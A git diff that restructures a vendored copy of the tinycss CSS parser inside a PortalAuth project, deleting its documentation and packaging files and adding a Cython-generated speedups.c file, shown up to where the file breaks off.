b/PortalAuth/includes/scripts/libs/tinycss/docs/_templates/layout.html deleted file mode 100644 index 3ac9078..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/docs/_templates/layout.html +++ /dev/null @@ -1,4 +0,0 @@ -{% extends "!layout.html" %} -{% block extrahead %} - -{% endblock %} diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/changelog.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/changelog.rst deleted file mode 100644 index d6c5f48..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/docs/changelog.rst +++ /dev/null @@ -1 +0,0 @@ -.. include:: ../CHANGES diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/conf.py b/PortalAuth/includes/scripts/libs/tinycss/docs/conf.py deleted file mode 100644 index fa7da0a..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/docs/conf.py +++ /dev/null @@ -1,252 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- -# -# tinycss documentation build configuration file, created by -# sphinx-quickstart on Tue Mar 27 14:20:34 2012. -# -# This file is execfile()d with the current directory set to its containing dir. -# -# Note that not all possible configuration values are present in this -# autogenerated file. -# -# All configuration values have a default; values that are commented out -# serve to show the default. - -import sys, os - -# If extensions (or modules to document with autodoc) are in another directory, -# add these directories to sys.path here. If the directory is relative to the -# documentation root, use os.path.abspath to make it absolute, like shown here. -#sys.path.insert(0, os.path.abspath('.')) - -# -- General configuration ----------------------------------------------------- - -# If your documentation needs a minimal Sphinx version, state it here. -#needs_sphinx = '1.0' - -# Add any Sphinx extension module names here, as strings. They can be extensions -# coming with Sphinx (named 'sphinx.ext.*') or your custom ones. -extensions = ['sphinx.ext.autodoc', 'sphinx.ext.intersphinx', - 'sphinx.ext.viewcode', 'sphinx.ext.doctest'] - -# Add any paths that contain templates here, relative to this directory. -templates_path = ['_templates'] - -# The suffix of source filenames. -source_suffix = '.rst' - -# The encoding of source files. -#source_encoding = 'utf-8-sig' - -# The master toctree document. -master_doc = 'index' - -# General information about the project. -project = 'tinycss' -copyright = '2012, Simon Sapin' - -# The version info for the project you're documenting, acts as replacement for -# |version| and |release|, also used in various other places throughout the -# built documents. -# -# The full version, including alpha/beta/rc tags. -#release = '0.1dev' -import re -with open(os.path.join(os.path.dirname(__file__), '..', - 'tinycss', 'version.py')) as init_py: - release = re.search("VERSION = '([^']+)'", init_py.read()).group(1) -# The short X.Y version. -version = release.rstrip('dev') - -# The language for content autogenerated by Sphinx. Refer to documentation -# for a list of supported languages. -#language = None - -# There are two options for replacing |today|: either, you set today to some -# non-false value, then it is used: -#today = '' -# Else, today_fmt is used as the format for a strftime call. -#today_fmt = '%B %d, %Y' - -# List of patterns, relative to source directory, that match files and -# directories to ignore when looking for source files. -exclude_patterns = ['_build'] - -# The reST default role (used for this markup: `text`) to use for all documents. -#default_role = None - -# If true, '()' will be appended to :func: etc. cross-reference text. -#add_function_parentheses = True - -# If true, the current module name will be prepended to all description -# unit titles (such as .. function::). -#add_module_names = True - -# If true, sectionauthor and moduleauthor directives will be shown in the -# output. They are ignored by default. -#show_authors = False - -# The name of the Pygments (syntax highlighting) style to use. -pygments_style = 'sphinx' - -# A list of ignored prefixes for module index sorting. -#modindex_common_prefix = [] - - -# -- Options for HTML output --------------------------------------------------- - -# The theme to use for HTML and HTML Help pages. See the documentation for -# a list of builtin themes. -#html_theme = 'agogo' - -# Theme options are theme-specific and customize the look and feel of a theme -# further. For a list of options available for each theme, see the -# documentation. -#html_theme_options = {} - -# Add any paths that contain custom themes here, relative to this directory. -#html_theme_path = [] - -# The name for this set of Sphinx documents. If None, it defaults to -# " v documentation". -#html_title = None - -# A shorter title for the navigation bar. Default is the same as html_title. -#html_short_title = None - -# The name of an image file (relative to this directory) to place at the top -# of the sidebar. -#html_logo = None - -# The name of an image file (within the static path) to use as favicon of the -# docs. This file should be a Windows icon file (.ico) being 16x16 or 32x32 -# pixels large. -#html_favicon = None - -# Add any paths that contain custom static files (such as style sheets) here, -# relative to this directory. They are copied after the builtin static files, -# so a file named "default.css" will overwrite the builtin "default.css". -html_static_path = ['_static'] - -# If not '', a 'Last updated on:' timestamp is inserted at every page bottom, -# using the given strftime format. -#html_last_updated_fmt = '%b %d, %Y' - -# If true, SmartyPants will be used to convert quotes and dashes to -# typographically correct entities. -#html_use_smartypants = True - -# Custom sidebar templates, maps document names to template names. -#html_sidebars = {} - -# Additional templates that should be rendered to pages, maps page names to -# template names. -#html_additional_pages = {} - -# If false, no module index is generated. -#html_domain_indices = True - -# If false, no index is generated. -#html_use_index = True - -# If true, the index is split into individual pages for each letter. -#html_split_index = False - -# If true, links to the reST sources are added to the pages. -#html_show_sourcelink = True - -# If true, "Created using Sphinx" is shown in the HTML footer. Default is True. -#html_show_sphinx = True - -# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True. -#html_show_copyright = True - -# If true, an OpenSearch description file will be output, and all pages will -# contain a tag referring to it. The value of this option must be the -# base URL from which the finished HTML is served. -#html_use_opensearch = '' - -# This is the file name suffix for HTML files (e.g. ".xhtml"). -#html_file_suffix = None - -# Output file base name for HTML help builder. -htmlhelp_basename = 'tinycssdoc' - - -# -- Options for LaTeX output -------------------------------------------------- - -latex_elements = { -# The paper size ('letterpaper' or 'a4paper'). -#'papersize': 'letterpaper', - -# The font size ('10pt', '11pt' or '12pt'). -#'pointsize': '10pt', - -# Additional stuff for the LaTeX preamble. -#'preamble': '', -} - -# Grouping the document tree into LaTeX files. List of tuples -# (source start file, target name, title, author, documentclass [howto/manual]). -latex_documents = [ - ('index', 'tinycss.tex', 'tinycss Documentation', - 'Simon Sapin', 'manual'), -] - -# The name of an image file (relative to this directory) to place at the top of -# the title page. -#latex_logo = None - -# For "manual" documents, if this is true, then toplevel headings are parts, -# not chapters. -#latex_use_parts = False - -# If true, show page references after internal links. -#latex_show_pagerefs = False - -# If true, show URL addresses after external links. -#latex_show_urls = False - -# Documents to append as an appendix to all manuals. -#latex_appendices = [] - -# If false, no module index is generated. -#latex_domain_indices = True - - -# -- Options for manual page output -------------------------------------------- - -# One entry per manual page. List of tuples -# (source start file, name, description, authors, manual section). -man_pages = [ - ('index', 'tinycss', 'tinycss Documentation', - ['Simon Sapin'], 1) -] - -# If true, show URL addresses after external links. -#man_show_urls = False - - -# -- Options for Texinfo output ------------------------------------------------ - -# Grouping the document tree into Texinfo files. List of tuples -# (source start file, target name, title, author, -# dir menu entry, description, category) -texinfo_documents = [ - ('index', 'tinycss', 'tinycss Documentation', - 'Simon Sapin', 'tinycss', 'One line description of project.', - 'Miscellaneous'), -] - -# Documents to append as an appendix to all manuals. -#texinfo_appendices = [] - -# If false, no module index is generated. -#texinfo_domain_indices = True - -# How to display URL addresses: 'footnote', 'no', or 'inline'. -#texinfo_show_urls = 'footnote' - - -# Example configuration for intersphinx: refer to the Python standard library. -intersphinx_mapping = {'http://docs.python.org/': None} diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/css3.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/css3.rst deleted file mode 100644 index 91ad4c2..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/docs/css3.rst +++ /dev/null @@ -1,116 +0,0 @@ -CSS 3 Modules -============= - -.. _selectors3: - -Selectors 3 ------------ - -.. currentmodule:: tinycss.css21 - -On :attr:`RuleSet.selector`, the :meth:`~.token_data.TokenList.as_css` method -can be used to serialize a selector back to an Unicode string. - - >>> import tinycss - >>> stylesheet = tinycss.make_parser().parse_stylesheet( - ... 'div.error, #root > section:first-letter { color: red }') - >>> selector_string = stylesheet.rules[0].selector.as_css() - >>> selector_string - 'div.error, #root > section:first-letter' - -This string can be parsed by cssselect_. The parsed objects have information -about pseudo-elements and selector specificity. - -.. _cssselect: http://packages.python.org/cssselect/ - - >>> import cssselect - >>> selectors = cssselect.parse(selector_string) - >>> [s.specificity() for s in selectors] - [(0, 1, 1), (1, 0, 2)] - >>> [s.pseudo_element for s in selectors] - [None, 'first-letter'] - -These objects can in turn be translated to XPath expressions. Note that -the translation ignores pseudo-elements, you have to account for them -somehow or reject selectors with pseudo-elements. - - >>> xpath = cssselect.HTMLTranslator().selector_to_xpath(selectors[1]) - >>> xpath - "descendant-or-self::*[@id = 'root']/section" - -Finally, the XPath expressions can be used with lxml_ to find the matching -elements. - - >>> from lxml import etree - >>> compiled_selector = etree.XPath(xpath) - >>> document = etree.fromstring('''
    - ... - ...
    - ... Lorem
    ipsum
    - ...
    - ...
    ''') - >>> [el.get('id') for el in compiled_selector(document)] - ['head', 'content'] - -.. _lxml: http://lxml.de/xpathxslt.html#xpath - -Find more details in the `cssselect documentation`_. - -.. _cssselect documentation: http://packages.python.org/cssselect/ - - -.. module:: tinycss.color3 - -Color 3 -------- - -This module implements parsing for the ** values, as defined in -`CSS 3 Color `_. - -The (deprecated) CSS2 system colors are not supported, but you can -easily test for them if you want as they are simple ``IDENT`` tokens. -For example:: - - if token.type == 'IDENT' and token.value == 'ButtonText': - return ... - -All other values types *are* supported: - -* Basic, extended (X11) and transparent color keywords; -* 3-digit and 6-digit hexadecimal notations; -* ``rgb()``, ``rgba()``, ``hsl()`` and ``hsla()`` functional notations. -* ``currentColor`` - -This module does not integrate with a parser class. Instead, it provides -a function that can parse tokens as found in :attr:`.css21.Declaration.value`, -for example. - -.. autofunction:: parse_color -.. autofunction:: parse_color_string -.. autoclass:: RGBA - - -.. module:: tinycss.page3 - -Paged Media 3 -------------- - -.. autoclass:: CSSPage3Parser -.. autoclass:: MarginRule - - -.. module:: tinycss.fonts3 - -Fonts 3 -------- - -.. autoclass:: CSSFonts3Parser -.. autoclass:: FontFaceRule -.. autoclass:: FontFeatureValuesRule -.. autoclass:: FontFeatureRule - - -Other CSS modules ------------------ - -To add support for new CSS syntax, see :ref:`extending`. diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/extending.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/extending.rst deleted file mode 100644 index d688865..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/docs/extending.rst +++ /dev/null @@ -1,97 +0,0 @@ -.. _extending: - -Extending the parser -==================== - -Modules such as :mod:`.page3` extend the CSS 2.1 parser to add support for -CSS 3 syntax. -They do so by sub-classing :class:`.css21.CSS21Parser` and overriding/extending -some of its methods. If fact, the parser is made of methods in a class -(rather than a set of functions) solely to enable this kind of sub-classing. - -tinycss is designed to enable you to have parser subclasses outside of -tinycss, without monkey-patching. If however the syntax you added is for a -W3C specification, consider including your subclass in a new tinycss module -and send a pull request: see :ref:`hacking`. - - -.. currentmodule:: tinycss.css21 - -Example: star hack ------------------- - -.. _star hack: https://en.wikipedia.org/wiki/CSS_filter#Star_hack - -The `star hack`_ uses invalid declarations that are only parsed by some -versions of Internet Explorer. By default, tinycss ignores invalid -declarations and logs an error. - - >>> from tinycss.css21 import CSS21Parser - >>> css = '#elem { width: [W3C Model Width]; *width: [BorderBox Model]; }' - >>> stylesheet = CSS21Parser().parse_stylesheet(css) - >>> stylesheet.errors - [ParseError('Parse error at 1:35, expected a property name, got DELIM',)] - >>> [decl.name for decl in stylesheet.rules[0].declarations] - ['width'] - -If for example a minifier based on tinycss wants to support the star hack, -it can by extending the parser:: - - >>> class CSSStarHackParser(CSS21Parser): - ... def parse_declaration(self, tokens): - ... has_star_hack = (tokens[0].type == 'DELIM' and tokens[0].value == '*') - ... if has_star_hack: - ... tokens = tokens[1:] - ... declaration = super(CSSStarHackParser, self).parse_declaration(tokens) - ... declaration.has_star_hack = has_star_hack - ... return declaration - ... - >>> stylesheet = CSSStarHackParser().parse_stylesheet(css) - >>> stylesheet.errors - [] - >>> [(d.name, d.has_star_hack) for d in stylesheet.rules[0].declarations] - [('width', False), ('width', True)] - -This class extends the :meth:`~CSS21Parser.parse_declaration` method. -It removes any ``*`` delimeter :class:`~.token_data.Token` at the start of -a declaration, and adds a ``has_star_hack`` boolean attribute on parsed -:class:`Declaration` objects: ``True`` if a ``*`` was removed, ``False`` for -“normal” declarations. - - -Parser methods --------------- - -In addition to methods of the user API (see :ref:`parsing`), here -are the methods of the CSS 2.1 parser that can be overriden or extended: - -.. automethod:: CSS21Parser.parse_rules -.. automethod:: CSS21Parser.read_at_rule -.. automethod:: CSS21Parser.parse_at_rule -.. automethod:: CSS21Parser.parse_media -.. automethod:: CSS21Parser.parse_page_selector -.. automethod:: CSS21Parser.parse_declarations_and_at_rules -.. automethod:: CSS21Parser.parse_ruleset -.. automethod:: CSS21Parser.parse_declaration_list -.. automethod:: CSS21Parser.parse_declaration -.. automethod:: CSS21Parser.parse_value_priority - -Unparsed at-rules ------------------ - -.. autoclass:: AtRule - - -.. module:: tinycss.parsing - -Parsing helper functions ------------------------- - -The :mod:`tinycss.parsing` module contains helper functions for parsing -tokens into a more structured form: - -.. autofunction:: strip_whitespace -.. autofunction:: split_on_comma -.. autofunction:: validate_value -.. autofunction:: validate_block -.. autofunction:: validate_any diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/hacking.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/hacking.rst deleted file mode 100644 index 8fbd613..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/docs/hacking.rst +++ /dev/null @@ -1,117 +0,0 @@ -.. _hacking: - -Hacking tinycss -=============== - -.. highlight:: sh - -Bugs and feature requests -------------------------- - -Bug reports, feature requests and other issues should got to the -`tinycss issue tracker`_ on Github. Any suggestion or feedback is welcome. -Please include in full any error message, trackback or other detail that -could be helpful. - -.. _tinycss issue tracker: https://github.com/SimonSapin/tinycss/issues - - -Installing the development version ----------------------------------- - -First, get the latest git version:: - - git clone https://github.com/SimonSapin/tinycss.git - cd tinycss - -You will need Cython_ and pytest_. Installing in a virtualenv_ is recommended:: - - virtualenv env - . env/bin/activate - pip install Cython pytest - -.. _Cython: http://cython.org/ -.. _pytest: http://pytest.org/ -.. _virtualenv: http://www.virtualenv.org/ - -Then, install tinycss in-place with pip’s *editable mode*. This will also -build the accelerators:: - - pip install -e . - - -Running the test suite ----------------------- - -Once you have everything installed (see above), just run pytest from the -*tinycss* directory:: - - py.test - -If the accelerators are not available for some reason, use the -``TINYCSS_SKIP_SPEEDUPS_TESTS`` environment variable:: - - TINYCSS_SKIP_SPEEDUPS_TESTS=1 py.test - -If you get test failures on a fresh git clone, something may have gone wrong -during the installation. Otherwise, you probably found a bug. Please -`report it <#bugs-and-feature-requests>`_. - - -Test in multiple Python versions with tox -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -tox_ automatically creates virtualenvs for various Python versions and -runs the test suite there:: - - pip install tox - -Change to the project’s root directory and just run:: - - tox - -.. _tox: http://tox.testrun.org/ - -tinycss comes with a pre-configured ``tox.ini`` file to test in CPython -2.6, 2.7, 3.1 and 3.2 as well as PyPy. You can change that with the ``-e`` -parameter:: - - tox -e py27,py32 - -If you use ``--`` in the arguments passed to tox, further arguments -are passed to the underlying ``py.test`` command:: - - tox -- -x --pdb - - -Building the documentation --------------------------- - -This documentation is made with Sphinx_:: - - pip install Sphinx - -.. _Sphinx: http://sphinx.pocoo.org/ - -To build the HTML version of the documentation, change to the project’s root -directory and run:: - - python setup.py build_sphinx - -The built HTML files are in ``docs/_build/html``. - - -Making a patch and a pull request ---------------------------------- - -If you would like to see something included in tinycss, please fork -`the repository `_ on Github -and make a pull request. Make sure to include tests for your change. - - -Mailing-list ------------- - -tinycss does not have a mailing-list of its own for now, but the -`WeasyPrint mailing-list `_ -is appropriate to discuss it. diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/index.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/index.rst deleted file mode 100644 index 541ff9d..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/docs/index.rst +++ /dev/null @@ -1,50 +0,0 @@ -.. include:: ../README.rst - - -Requirements ------------- - -`tinycss is tested `_ on CPython 2.7, 3.3, -3.4 and 3.5 as well as PyPy 5.3 and PyPy3 2.4; it should work on any -implementation of **Python 2.7 or later version (including 3.x)** of the -language. - -Cython_ is used for optional accelerators but is only required for -development versions on tinycss. - -.. _Cython: http://cython.org/ - - -Installation ------------- - -Installing with `pip `_ should Just Work: - -.. code-block:: sh - - pip install tinycss - -The release tarballs contain pre-*cythoned* C files for the accelerators: -you will not need Cython to install like this. -If the accelerators fail to build for some reason, tinycss will -print a warning and fall back to a pure-Python installation. - - -Documentation -------------- - -.. Have this page in the sidebar, but do not show a link to itself here: - -.. toctree:: - :hidden: - - self - -.. toctree:: - :maxdepth: 2 - - parsing - css3 - extending - hacking - changelog diff --git a/PortalAuth/includes/scripts/libs/tinycss/docs/parsing.rst b/PortalAuth/includes/scripts/libs/tinycss/docs/parsing.rst deleted file mode 100644 index effd37d..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/docs/parsing.rst +++ /dev/null @@ -1,97 +0,0 @@ -Parsing with tinycss -==================== - -.. highlight:: python - -Quickstart ----------- - -Import *tinycss*, make a parser object with the features you want, -and parse a stylesheet: - -.. doctest:: - - >>> import tinycss - >>> parser = tinycss.make_parser('page3') - >>> stylesheet = parser.parse_stylesheet_bytes(b'''@import "foo.css"; - ... p.error { color: red } @lorem-ipsum; - ... @page tables { size: landscape }''') - >>> stylesheet.rules - [, , ] - >>> stylesheet.errors - [ParseError('Parse error at 2:29, unknown at-rule in stylesheet context: @lorem-ipsum',)] - -You’ll get a :class:`~tinycss.css21.Stylesheet` object which contains -all the parsed content as well as a list of encountered errors. - - -Parsers -------- - -Parsers are subclasses of :class:`tinycss.css21.CSS21Parser`. Various -subclasses add support for more syntax. You can choose which features to -enable by making a new parser class with multiple inheritance, but there -is also a convenience function to do that: - -.. module:: tinycss - -.. autofunction:: make_parser - - -.. module:: tinycss.css21 -.. _parsing: - -Parsing a stylesheet -~~~~~~~~~~~~~~~~~~~~ - -Parser classes have three different methods to parse CSS stylesheet, -depending on whether you have a file, a byte string, or an Unicode string. - -.. autoclass:: CSS21Parser - :members: parse_stylesheet_file, parse_stylesheet_bytes, parse_stylesheet - - -Parsing a ``style`` attribute -~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ - -.. automethod:: CSS21Parser.parse_style_attr - - -Parsed objects --------------- - -These data structures make up the results of the various parsing methods. - -.. autoclass:: tinycss.parsing.ParseError() -.. autoclass:: Stylesheet() - -.. note:: - All subsequent objects have :obj:`line` and :obj:`column` attributes (not - repeated every time fore brevity) that indicate where in the CSS source - this object was read. - -.. autoclass:: RuleSet() -.. autoclass:: ImportRule() -.. autoclass:: MediaRule() -.. autoclass:: PageRule() -.. autoclass:: Declaration() - - -Tokens ------- - -Some parts of a stylesheet (such as selectors in CSS 2.1 or property values) -are not parsed by tinycss. They appear as tokens instead. - -.. module:: tinycss.token_data - -.. autoclass:: TokenList() - :member-order: bysource - :members: -.. autoclass:: Token() - :members: -.. autoclass:: tinycss.speedups.CToken() -.. autoclass:: ContainerToken() - :members: - -.. autoclass:: FunctionToken() diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/fonts3.py b/PortalAuth/includes/scripts/libs/tinycss/fonts3.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/fonts3.py rename to PortalAuth/includes/scripts/libs/tinycss/fonts3.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/page3.py b/PortalAuth/includes/scripts/libs/tinycss/page3.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/page3.py rename to PortalAuth/includes/scripts/libs/tinycss/page3.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/tinycss/parsing.py b/PortalAuth/includes/scripts/libs/tinycss/parsing.py similarity index 100% rename from PortalAuth/includes/scripts/libs/tinycss/tinycss/parsing.py rename to PortalAuth/includes/scripts/libs/tinycss/parsing.py diff --git a/PortalAuth/includes/scripts/libs/tinycss/setup.cfg b/PortalAuth/includes/scripts/libs/tinycss/setup.cfg deleted file mode 100644 index 2c35592..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/setup.cfg +++ /dev/null @@ -1,23 +0,0 @@ -[build_sphinx] -source-dir = docs -build-dir = docs/_build - -[upload_sphinx] -upload-dir = docs/_build/html - -[aliases] -test = pytest - -[tool:pytest] -addopts = --flake8 --isort --cov --ignore=test/cairosvg_reference -norecursedirs = dist .cache .git build *.egg-info .eggs venv cairosvg_reference -flake8-ignore = docs/conf.py ALL -isort_ignore = - docs/conf.py - setup.py - -[egg_info] -tag_build = -tag_date = 0 -tag_svn_revision = 0 - diff --git a/PortalAuth/includes/scripts/libs/tinycss/setup.py b/PortalAuth/includes/scripts/libs/tinycss/setup.py deleted file mode 100644 index 3c50f5b..0000000 --- a/PortalAuth/includes/scripts/libs/tinycss/setup.py +++ /dev/null @@ -1,127 +0,0 @@ -import os.path -import re -import sys -from distutils.errors import ( - CCompilerError, DistutilsExecError, DistutilsPlatformError) -from setuptools import Extension, setup - -try: - from Cython.Distutils import build_ext - import Cython.Compiler.Version - CYTHON_INSTALLED = True -except ImportError: - from distutils.command.build_ext import build_ext - CYTHON_INSTALLED = False - - -ext_errors = (CCompilerError, DistutilsExecError, DistutilsPlatformError) -if sys.platform == 'win32' and sys.version_info > (2, 6): - # 2.6's distutils.msvc9compiler can raise an IOError when failing to - # find the compiler - ext_errors += (IOError,) - - -class BuildFailed(Exception): - pass - - -class ve_build_ext(build_ext): - # This class allows C extension building to fail. - - def run(self): - try: - build_ext.run(self) - except DistutilsPlatformError: - raise BuildFailed - - def build_extension(self, ext): - try: - build_ext.build_extension(self, ext) - except ext_errors: - raise BuildFailed - - -ROOT = os.path.dirname(__file__) -with open(os.path.join(ROOT, 'tinycss', 'version.py')) as fd: - VERSION = re.search("VERSION = '([^']+)'", fd.read()).group(1) - -with open(os.path.join(ROOT, 'README.rst'), 'rb') as fd: - README = fd.read().decode('utf8') - - -needs_pytest = {'pytest', 'test', 'ptr'}.intersection(sys.argv) -pytest_runner = ['pytest-runner'] if needs_pytest else [] - - -def run_setup(with_extension): - if with_extension: - extension_path = os.path.join('tinycss', 'speedups') - if CYTHON_INSTALLED: - extension_path += '.pyx' - print('Building with Cython %s.' % Cython.Compiler.Version.version) - else: - extension_path += '.c' - if not os.path.exists(extension_path): - print("WARNING: Trying to build without Cython, but " - "pre-generated '%s' does not seem to be available." - % extension_path) - else: - print('Building without Cython.') - kwargs = dict( - cmdclass=dict(build_ext=ve_build_ext), - ext_modules=[Extension('tinycss.speedups', - sources=[extension_path])], - ) - else: - kwargs = dict() - - setup( - name='tinycss', - version=VERSION, - url='http://tinycss.readthedocs.io/', - license='BSD', - author='Simon Sapin', - author_email='simon.sapin@exyr.org', - description='tinycss is a complete yet simple CSS parser for Python.', - long_description=README, - classifiers=[ - 'Development Status :: 4 - Beta', - 'Intended Audience :: Developers', - 'License :: OSI Approved :: BSD License', - 'Programming Language :: Python :: 2', - 'Programming Language :: Python :: 2.7', - 'Programming Language :: Python :: 3', - 'Programming Language :: Python :: 3.3', - 'Programming Language :: Python :: 3.4', - 'Programming Language :: Python :: 3.5', - 'Programming Language :: Python :: Implementation :: CPython', - 'Programming Language :: Python :: Implementation :: PyPy', - ], - setup_requires=pytest_runner, - tests_require=[ - 'pytest-cov', 'pytest-flake8', 'pytest-isort', 'pytest-runner'], - extras_require={'test': ( - 'pytest-runner', 'pytest-cov', 'pytest-flake8', 'pytest-isort')}, - packages=['tinycss', 'tinycss.tests'], - **kwargs - ) - - -IS_PYPY = hasattr(sys, 'pypy_translation_info') -try: - run_setup(not IS_PYPY) -except BuildFailed: - BUILD_EXT_WARNING = ('WARNING: The extension could not be compiled, ' - 'speedups are not enabled.') - print('*' * 75) - print(BUILD_EXT_WARNING) - print('Failure information, if any, is above.') - print('Retrying the build without the Cython extension now.') - print('*' * 75) - - run_setup(False) - - print('*' * 75) - print(BUILD_EXT_WARNING) - print('Plain-Python installation succeeded.') - print('*' * 75) diff --git a/PortalAuth/includes/scripts/libs/tinycss/speedups.c b/PortalAuth/includes/scripts/libs/tinycss/speedups.c new file mode 100644 index 0000000..98d45a5 --- /dev/null +++ b/PortalAuth/includes/scripts/libs/tinycss/speedups.c @@ -0,0 +1,7583 @@ +/* Generated by Cython 0.24.1 */ + +#define PY_SSIZE_T_CLEAN +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02060000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03020000) + #error Cython requires Python 2.6+ or Python 3.2+. +#else +#define CYTHON_ABI "0_24_1" +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#ifdef PYPY_VERSION + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 +#else + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 1 +#endif +#if !defined(CYTHON_USE_PYLONG_INTERNALS) && CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x02070000 + #define CYTHON_USE_PYLONG_INTERNALS 1 +#endif +#if CYTHON_USE_PYLONG_INTERNALS + #include "longintrepr.h" + #undef SHIFT + #undef BASE + #undef MASK +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX < 0x02070600 && !defined(Py_OptimizeFlag) + #define Py_OptimizeFlag 0 +#endif +#define __PYX_BUILD_PY_SSIZE_T "n" +#define CYTHON_FORMAT_SSIZE_T "z" +#if PY_MAJOR_VERSION < 3 + #define __Pyx_BUILTIN_MODULE_NAME "__builtin__" + #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a+k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) + #define __Pyx_DefaultClassType PyClass_Type +#else + #define __Pyx_BUILTIN_MODULE_NAME "builtins" + #define __Pyx_PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos)\ + PyCode_New(a, k, l, s, f, code, c, n, v, fv, cell, fn, name, fline, lnos) + #define __Pyx_DefaultClassType PyType_Type +#endif +#ifndef Py_TPFLAGS_CHECKTYPES + #define Py_TPFLAGS_CHECKTYPES 0 +#endif +#ifndef Py_TPFLAGS_HAVE_INDEX + #define Py_TPFLAGS_HAVE_INDEX 0 +#endif +#ifndef Py_TPFLAGS_HAVE_NEWBUFFER + #define Py_TPFLAGS_HAVE_NEWBUFFER 0 +#endif +#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#if PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_KIND(u) PyUnicode_KIND(u) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) +#else + #define CYTHON_PEP393_ENABLED 0 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_KIND(u) (sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyUnicode_Contains) + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) 